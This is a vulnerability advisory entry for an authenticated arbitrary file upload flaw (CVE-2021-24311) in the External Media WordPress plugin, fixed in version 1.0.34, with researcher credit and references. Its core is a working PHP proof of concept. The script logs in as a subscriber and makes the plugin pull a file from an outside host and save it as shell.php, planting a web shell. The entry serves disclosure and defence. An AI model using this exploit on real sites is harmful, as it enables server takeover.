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WordPress Plugin Vulnerabilities

External Media < 1.0.34 - Authenticated Arbitrary File Upload

Description

The wp_ajax_upload-remote-file AJAX action of the plugin was vulnerable to arbitrary file uploads via any authenticated users. 

Proof of Concept

<?php
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

// Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

// Upload File
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'url' => 'https://EXTERNALSITEHOSTINGFILE/shell.txt',
    'plugin' => 'ExternalLink',
    'filename' => 'shell.php',
    'caption' => '',
    'referer' => '',
    'action' => 'upload-remote-file'

]);

$output = curl_exec($ch);
curl_close($ch);
echo $output;

?> 

Affects Plugins

external-media
Fixed in version 1.0.34

References

CVE
CVE-2021-24311
URL
https://www.wordfence.com/blog/2021/05/critical-vulnerability-patched-in-external-media-plugin/

Classification

Type

UPLOAD

CWE
CWE-434

Miscellaneous

Original Researcher

Chloe Chamberland

Submitter

Chloe Chamberland

Submitter website
https://wordfence.com
Submitter twitter
infosecchloe
Verified

Yes

WPVDB ID
4fb90999-6f91-4200-a0cc-bfe9b34a5de9

Timeline

Publicly Published

2021-05-13 (about 2 years ago)

Added

2021-05-13 (about 2 years ago)

Last Updated

2021-05-14 (about 2 years ago)

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